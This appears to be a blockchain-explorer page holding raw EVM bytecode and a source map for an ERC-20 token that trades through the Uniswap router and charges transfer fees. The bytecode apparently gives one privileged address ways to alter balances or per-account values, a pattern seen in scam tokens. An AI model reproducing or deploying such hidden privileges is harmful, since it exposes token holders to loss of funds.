1e96578082015181840152602081019050611e7b565b83811115611ea5576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ec782611e5c565b611ed18185611e67565b9350611ee1818560208601611e78565b611eea81611eab565b840191505092915050565b60006020820190508181036000830152611f0f8184611ebc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f4782611f1c565b9050919050565b611f5781611f3c565b8114611f6257600080fd5b50565b600081359050611f7481611f4e565b92915050565b6000819050919050565b611f8d81611f7a565b8114611f9857600080fd5b50565b600081359050611faa81611f84565b92915050565b60008060408385031215611fc757611fc6611f17565b5b6000611fd585828601611f65565b9250506020611fe685828601611f9b565b9150509250929050565b60008115159050919050565b61200581611ff0565b82525050565b60006020820190506120206000830184611ffc565b92915050565b6000819050919050565b600061204b61204661204184611f1c565b612026565b611f1c565b9050919050565b600061205d82612030565b9050919050565b600061206f82612052565b9050919050565b61207f81612064565b82525050565b600060208201905061209a6000830184612076565b92915050565b6120a981611f7a565b82525050565b60006020820190506120c460008301846120a0565b92915050565b6000806000606084860312156120e3576120e2611f17565b5b60006120f186828701611f65565b935050602061210286828701611f65565b925050604061211386828701611f9b565b9150509250925092565b61212681611f3c565b82525050565b6000602082019050612141600083018461211d565b92915050565b600060ff82169050919050565b61215d81612147565b82525050565b60006020820190506121786000830184612154565b92915050565b60006020828403121561219457612193611f17565b5b60006121a284828501611f65565b91505092915050565b60006121b682611f1c565b9050919050565b6121c6816121ab565b82525050565b60006020820190506121e160008301846121bd565b92915050565b600080604083850312156121fe576121fd611f17565b5b600061220c85828601611f65565b925050602061221d85828601611f65565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061226e57607f821691505b6020821081141561228257612281612227565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122be602083611e67565b91506122c982612288565b602082019050919050565b600060208201905081810360008301526122ed816122b1565b9050919050565b60008151905061230381611f4e565b92915050565b60006020828403121561231f5761231e611f17565b5b600061232d848285016122f4565b91505092915050565b600060408201905061234b600083018561211d565b612358602083018461211d565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061239982611f7a565b91506123a483611f7a565b9250828210156123b7576123b661235f565b5b828203905092915050565b60006123cd82611f7a565b91506123d883611f7a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561240d5761240c61235f565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612474602483611e67565b915061247f82612418565b604082019050919050565b600060208201905081810360008301526124a381612467565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612506602283611e67565b9150612511826124aa565b604082019050919050565b60006020820190508181036000830152612535816124f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612598602583611e67565b91506125a38261253c565b604082019050919050565b600060208201905081810360008301526125c78161258b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061262a602383611e67565b9150612635826125ce565b604082019050919050565b600060208201905081810360008301526126598161261d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612696601b83611e67565b91506126a182612660565b602082019050919050565b600060208201905081810360008301526126c581612689565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061274f61274a6127458461272a565b612026565b611f7a565b9050919050565b61275f81612734565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61279a81611f3c565b82525050565b60006127ac8383612791565b60208301905092915050565b6000602082019050919050565b60006127d082612765565b6127da8185612770565b93506127e583612781565b8060005b838110156128165781516127fd88826127a0565b9750612808836127b8565b9250506001810190506127e9565b5085935050505092915050565b600060a08201905061283860008301886120a0565b6128456020830187612756565b818103604083015261285781866127c5565b9050612866606083018561211d565b61287360808301846120a0565b9695505050505050565b600061288882611f7a565b915061289383611f7a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128cc576128cb61235f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061291182611f7a565b915061291c83611f7a565b92508261292c5761292b6128d7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612993602183611e67565b915061299e82612937565b604082019050919050565b600060208201905081810360008301526129c281612986565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d80071e73995b9d214ddf46e7d1bd5d0e9faf517e37d15a40149398fd3a60a9a64736f6c63430008080033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a8a5801b1161006f578063a8a5801b14610405578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b806370a082311461031e5780637ca814601461035b5780638c762838146103985780638da5cb5b146103af57806395d89b41146103da57610135565b806327c8f835116100f257806327c8f83514610235578063313ce567146102605780633345611e1461028b5780633827278a146102c85780634a74bb02146102f357610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190611ef5565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611fb0565b6105cb565b604051610199919061200b565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612085565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906120af565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a91906120ca565b610619565b60405161022c919061200b565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b604051610257919061212c565b60405180910390f35b34801561026c57600080fd5b50610275610717565b6040516102829190612163565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad919061217e565b61072e565b6040516102bf919061200b565b60405180910390f35b3480156102d457600080fd5b506102dd61074e565b6040516102ea91906121cc565b60405180910390f35b3480156102ff57600080fd5b50610308610774565b604051610315919061200b565b60405180910390f35b34801561032a57600080fd5b506103456004803603810190610340919061217e565b610787565b60405161035291906120af565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061217e565b6107d0565b60405161038f91906120af565b60405180910390f35b3480156103a457600080fd5b506103ad6107e8565b005b3480156103bb57600080fd5b506103c4610bc0565b6040516103d1919061212c565b60405180910390f35b3480156103e657600080fd5b506103ef610be9565b6040516103fc9190611ef5565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190611fb0565b610c7b565b005b34801561043a57600080fd5b5061045560048036038101906104509190611fb0565b610d73565b604051610462919061200b565b60405180910390f35b34801561047757600080fd5b50610480610d92565b60405161048d919061212c565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906121e7565b610db8565b6040516104ca91906120af565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f5919061217e565b610e3f565b005b34801561050857600080fd5b50610523600480360381019061051e919061217e565b610f91565b604051610530919061200b565b60405180910390f35b60606001805461054890612256565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612256565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610fb1565b8484610fb9565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611184565b506106e884610633610fb1565b6106e3856040518060600160405280602881526020016129ca60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699610fb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d59092919063ffffffff16565b610fb9565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915090505481565b6107f0610fb1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610874906122d4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108dc57600080fd5b505afa1580156108f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109149190612309565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097657600080fd5b505afa15801561098a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ae9190612309565b6040518363ffffffff1660e01b81526004016109cb929190612336565b602060405180830381600087803b1580156109e557600080fd5b505af11580156109f9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1d9190612309565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bf890612256565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2490612256565b8015610c715780601f10610c4657610100808354040283529160200191610c71565b820191906000526020600020905b815481529060010190602001808311610c5457829003601f168201915b5050505050905090565b600080821480610c9757506000606483610c95919061238e565b145b610ca2576000610ca5565b60015b90508015610cf25781600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d6d600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d5c57600383610d5791906123c2565b610d5e565b825b8361183990919063ffffffff16565b50505050565b6000610d87610d80610fb1565b8484611184565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e47610fb1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb906122d4565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110209061248a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611099576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110909061251c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117791906120af565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ec906125ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c90612640565b60405180910390fd5b600b60149054906101000a900460ff161561128c57611285848484611883565b90506117ce565b60008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146112c8576000611328565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611324576000611327565b60015b5b905080156113a9576113438384611a5690919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156114105750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114275761142661142130610787565b611ab4565b5b600061147b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183990919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115625750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116c95760006115906064611582600088611d3490919063ffffffff16565b611daf90919063ffffffff16565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115f0576115ed8582611a5690919063ffffffff16565b90505b60008111156116b55780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461164891906123c2565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116ac91906120af565b60405180910390a35b80856116c1919061238e565b9150506116cd565b8390505b61171f81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117bf91906120af565b60405180910390a36001925050505b9392505050565b600083831115829061181d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118149190611ef5565b60405180910390fd5b506000838561182c919061238e565b9050809150509392505050565b600061187b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d5565b905092915050565b600061190e826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d59092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a382600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a4391906120af565b60405180910390a3600190509392505050565b6000808284611a6591906123c2565b905083811015611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa1906126ac565b60405180910390fd5b8091505092915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611aec57611aeb6126cc565b5b604051908082528060200260200182016040528015611b1a5781602001602082028036833780820191505090505b5090503081600081518110611b3257611b316126fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bd457600080fd5b505afa158015611be8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0c9190612309565b81600181518110611c2057611c1f6126fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611ce0959493929190612823565b600060405180830381600087803b158015611cfa57600080fd5b505af1925050508015611d0b575060015b611d1457611d15565b5b506000600b60146101000a81548160ff02191690831515021790555050565b600080831415611d475760009050611da9565b60008284611d55919061287d565b9050828482611d649190612906565b14611da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9b906129a9565b60405180910390fd5b809150505b92915050565b6000611df183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611df9565b905092915050565b60008083118290611e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e379190611ef5565b60405180910390fd5b5060008385611e4f9190612906565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e96578082015181840152602081019050611e7b565b83811115611ea5576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ec782611e5c565b611ed18185611e67565b9350611ee1818560208601611e78565b611eea81611eab565b840191505092915050565b60006020820190508181036000830152611f0f8184611ebc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f4782611f1c565b9050919050565b611f5781611f3c565b8114611f6257600080fd5b50565b600081359050611f7481611f4e565b92915050565b6000819050919050565b611f8d81611f7a565b8114611f9857600080fd5b50565b600081359050611faa81611f84565b92915050565b60008060408385031215611fc757611fc6611f17565b5b6000611fd585828601611f65565b9250506020611fe685828601611f9b565b9150509250929050565b60008115159050919050565b61200581611ff0565b82525050565b60006020820190506120206000830184611ffc565b92915050565b6000819050919050565b600061204b61204661204184611f1c565b612026565b611f1c565b9050919050565b600061205d82612030565b9050919050565b600061206f82612052565b9050919050565b61207f81612064565b82525050565b600060208201905061209a6000830184612076565b92915050565b6120a981611f7a565b82525050565b60006020820190506120c460008301846120a0565b92915050565b6000806000606084860312156120e3576120e2611f17565b5b60006120f186828701611f65565b935050602061210286828701611f65565b925050604061211386828701611f9b565b9150509250925092565b61212681611f3c565b82525050565b6000602082019050612141600083018461211d565b92915050565b600060ff82169050919050565b61215d81612147565b82525050565b60006020820190506121786000830184612154565b92915050565b60006020828403121561219457612193611f17565b5b60006121a284828501611f65565b91505092915050565b60006121b682611f1c565b9050919050565b6121c6816121ab565b82525050565b60006020820190506121e160008301846121bd565b92915050565b600080604083850312156121fe576121fd611f17565b5b600061220c85828601611f65565b925050602061221d85828601611f65565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061226e57607f821691505b6020821081141561228257612281612227565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122be602083611e67565b91506122c982612288565b602082019050919050565b600060208201905081810360008301526122ed816122b1565b9050919050565b60008151905061230381611f4e565b92915050565b60006020828403121561231f5761231e611f17565b5b600061232d848285016122f4565b91505092915050565b600060408201905061234b600083018561211d565b612358602083018461211d565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061239982611f7a565b91506123a483611f7a565b9250828210156123b7576123b661235f565b5b828203905092915050565b60006123cd82611f7a565b91506123d883611f7a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561240d5761240c61235f565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612474602483611e67565b915061247f82612418565b604082019050919050565b600060208201905081810360008301526124a381612467565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612506602283611e67565b9150612511826124aa565b604082019050919050565b60006020820190508181036000830152612535816124f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612598602583611e67565b91506125a38261253c565b604082019050919050565b600060208201905081810360008301526125c78161258b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061262a602383611e67565b9150612635826125ce565b604082019050919050565b600060208201905081810360008301526126598161261d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612696601b83611e67565b91506126a182612660565b602082019050919050565b600060208201905081810360008301526126c581612689565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061274f61274a6127458461272a565b612026565b611f7a565b9050919050565b61275f81612734565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61279a81611f3c565b82525050565b60006127ac8383612791565b60208301905092915050565b6000602082019050919050565b60006127d082612765565b6127da8185612770565b93506127e583612781565b8060005b838110156128165781516127fd88826127a0565b9750612808836127b8565b9250506001810190506127e9565b5085935050505092915050565b600060a08201905061283860008301886120a0565b6128456020830187612756565b818103604083015261285781866127c5565b9050612866606083018561211d565b61287360808301846120a0565b9695505050505050565b600061288882611f7a565b915061289383611f7a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128cc576128cb61235f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061291182611f7a565b915061291c83611f7a565b92508261292c5761292b6128d7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612993602183611e67565b915061299e82612937565b604082019050919050565b600060208201905081810360008301526129c281612986565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d80071e73995b9d214ddf46e7d1bd5d0e9faf517e37d15a40149398fd3a60a9a64736f6c63430008080033

Deployed Bytecode Sourcemap

3800:6290:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5130:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5793:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4475:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5407:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6344:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4082:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5316:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4248:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4004:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4590:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5515:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4357:40;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6840:508;;;;;;;;;;;;;:::i;:::-;;2933:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5221:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9683:404;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6665:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4523:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5642:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3147:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4305:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5130:83;5167:13;5200:5;5193:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5130:83;:::o;5793:161::-;5868:4;5885:39;5894:12;:10;:12::i;:::-;5908:7;5917:6;5885:8;:39::i;:::-;5942:4;5935:11;;5793:161;;;;:::o;4475:41::-;;;;;;;;;;;;;:::o;5407:100::-;5460:7;5487:12;;5480:19;;5407:100;:::o;6344:313::-;6442:4;6459:36;6469:6;6477:9;6488:6;6459:9;:36::i;:::-;;6506:121;6515:6;6523:12;:10;:12::i;:::-;6537:89;6575:6;6537:89;;;;;;;;;;;;;;;;;:11;:19;6549:6;6537:19;;;;;;;;;;;;;;;:33;6557:12;:10;:12::i;:::-;6537:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6506:8;:121::i;:::-;6645:4;6638:11;;6344:313;;;;;:::o;4082:81::-;;;:::o;5316:83::-;5357:5;5382:9;;;;;;;;;;;5375:16;;5316:83;:::o;4248:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;4004:26::-;;;;;;;;;;;;;:::o;4590:40::-;;;;;;;;;;;;;:::o;5515:119::-;5581:7;5608:9;:18;5618:7;5608:18;;;;;;;;;;;;;;;;5601:25;;5515:119;;;:::o;4357:40::-;;;;;;;;;;;;;;;;;:::o;6840:508::-;3070:12;:10;:12::i;:::-;3060:22;;:6;;;;;;;;;;:22;;;3052:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6882:35:::1;6939:42;6882:100;;7070:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7052:70;;;7131:4;7138:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7052:110;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7038:11;;:124;;;;;;;;;;;;;;;;;;7193:16;7175:15;;:34;;;;;;;;;;;;;;;;;;7257:4;7220:12;:34;7241:11;;;;;;;;;;;7220:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;7336:1;7327:11;7272;:26;7292:4;7272:26;;;;;;;;;;;;;;;:52;7307:15;;;;;;;;;;;7272:52;;;;;;;;;;;;;;;:66;;;;6871:477;6840:508::o:0;2933:79::-;2971:7;2998:6;;;;;;;;;;;2991:13;;2933:79;:::o;5221:87::-;5260:13;5293:7;5286:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;